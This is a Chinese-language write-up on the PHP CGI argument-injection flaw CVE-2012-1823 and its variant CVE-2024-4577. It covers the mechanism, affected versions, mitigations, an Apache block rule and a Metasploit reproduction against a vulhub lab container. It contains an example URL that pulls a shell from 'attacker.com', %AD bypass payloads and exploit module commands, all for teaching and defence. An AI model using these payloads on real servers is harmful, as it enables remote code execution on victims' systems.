一、漏洞介绍

基本信息

属性

内容

CVE编号

CVE-2012-1823

漏洞名称

PHP CGI 参数注入漏洞

CVSS评分

7.5 (高危)

漏洞类型

参数注入 / 远程代码执行

受影响组件

PHP CGI/FastCGI SAPI

根本原因

CGI/FastCGI SAPI 未正确处理查询字符串中的特殊字符

漏洞原理

技术层面的解释:

PHP的CGI/FastCGI SAPI(服务器应用程序编程接口)在处理URL查询字符串时存在缺陷。当PHP以CGI模式运行时,它会将URL中的查询字符串解析为命令行参数。攻击者可以通过在URL中构造特殊的查询字符串(如使用-s-d-c等参数),将恶意参数注入到PHP解释器中。

具体来说:

  1. 参数注入:攻击者可以在URL中添加形如 ?-s-d allow_url_include=on 等参数

  2. 配置覆盖:通过-d参数可以覆盖PHP的配置选项(如allow_url_includeauto_prepend_file等)

  3. 代码执行:结合auto_prepend_file等选项,攻击者可以包含远程文件或本地文件,最终实现任意代码执行

攻击流程示例:

http://victim.com/index.php?-d+allow_url_include=on+-d+auto_prepend_file=http://attacker.com/shell.txt

这个URL会让PHP解释器执行以下操作:

  • -d allow_url_include=on:开启远程文件包含

  • -d auto_prepend_file=http://attacker.com/shell.txt:在每个PHP文件执行前包含攻击者的远程shell代码


一句话大白话解释:

"就像你家门口有个信箱,本来只能投信,但攻击者发现只要在信上写特殊暗号,就能让邮递员把信当成指令执行,从而偷偷打开你家的门。"

影响的版本

版本分支

受影响版本

修复版本

PHP 5.3.x

5.3.0 - 5.3.11

5.3.12

PHP 5.4.x

5.4.0 - 5.4.1

5.4.2

PHP 5.2.x

部分早期版本也可能受影响

建议升级到5.3.12+

注意: 只有以CGI或FastCGI模式运行的PHP受影响。使用mod_php(Apache模块)、PHP-FPM或其他非CGI模式的部署方式不受此漏洞影响。

防护措施

防护层面

具体措施

立即升级

升级到PHP 5.3.12+ 或 5.4.2+ 版本(官方已修复)

配置加固

php.ini中设置 cgi.force_redirect = On

Web服务器配置

使用Apache的mod_rewrite或Nginx的URL过滤,拦截包含-的查询字符串

部署WAF

配置Web应用防火墙规则,检测并拦截恶意查询参数(如-s-d等)

最小化部署

避免使用CGI模式,改用mod_php或PHP-FPM等更安全的运行方式

网络隔离

限制PHP-CGI进程的网络访问权限,防止远程文件包含攻击

代码审计

检查应用中是否存在文件包含漏洞,避免被组合利用

二、msf复现

1.准备工作:

攻击机:192.168.68.128(kalilinux)

目标靶机:192.168.68.134(ubuntu+docker)

来源:https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823

部署:把该链接下的文件下载到ubuntu,进入文件夹,执行 sudo docker-compose up -d

然后服务启动会监听8080端口(可以使用sudo docker ps)发现外部8080映射容器内部的80端口

2.msf复现

打开kali终端

1.启动msf msfconsole

2.search

search cve-2012-1823

3.使用漏洞模块

use exploit/multi/http/php_cgi_arg_injection
CVE-2012-1823-1.png

4.查看需要配置的参数

show options
CVE-2012-1823-2.png

从图中可以看到,rport默认的80端口,我们需要改成8080,默认的payload参数也给我们设置正确,我们就只需要配置RHOSTS,PLESK和URIENCODING即可,RHOSTS填写目标靶机ip,PLESK是一个管理面板,可以理解成国内的宝塔面板,这里目标靶机没有这个,保持默认关闭即可,URIENCODING是给url编码,目的是让防火墙认不出这是攻击流量,但服务器还能正常解析执行,我们的靶机没有配置WAF,也可以保持默认

5.配置参数

set RPORT 8080 
set RHOSTS 192.168.68.134

6.执行攻击

我们可以先执行check看看目标主机是否存在漏洞(只是做检测,不是真正的攻击,在某些场景有用),然后执行run

可以看到也是顺利的拿到了控制权

CVE-2012-1823-3.png

三、扩展

这个漏洞和有一个重大版本的变种CVE-2024-4577

payload对比

版本

攻击示例

关键字符

CVE-2012-1823

?-d+allow_url_include=on

- (0x2D)

CVE-2024-4577

?%ADd+allow_url_include=on

%AD (0xAD)

影响版本

PHP分支

受影响版本

修复版本

PHP 8.3

< 8.3.8

8.3.8

PHP 8.2

< 8.2.20

8.2.20

PHP 8.1

< 8.1.29

8.1.29

PHP 8.0及以下

全部EOL,无补丁

必须升级

特殊风险XAMPP Windows 版默认配置即 vulnerable,无需额外配置即可攻击。

技术演进对比

特性

CVE-2012-1823

CVE-2024-4577

核心机制

RFC3875查询字符串解析错误

Windows字符编码Best-Fit绕过

影响平台

全平台(Linux/Windows/Mac)

仅限Windows

必要条件

PHP CGI模式

PHP CGI模式 + Windows特定代码页

绕过难度

直接利用

需要特定编码环境

检测难度

容易(明显短横线)

困难(肉眼不可见差异)

修复状态

已修复(但补丁不完整)

已修复(2024年6月)

针对CVE-2024-4577的额外防御:

# 拦截软连字符(0xAD)攻击
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

一句话总结

CVE-2012-1823 像个"僵尸漏洞"——2012年"杀死"后,2024年借Windows的字符编码特性"复活",用肉眼看不见的软连字符(0xAD)绕过当年补丁,再次血洗互联网。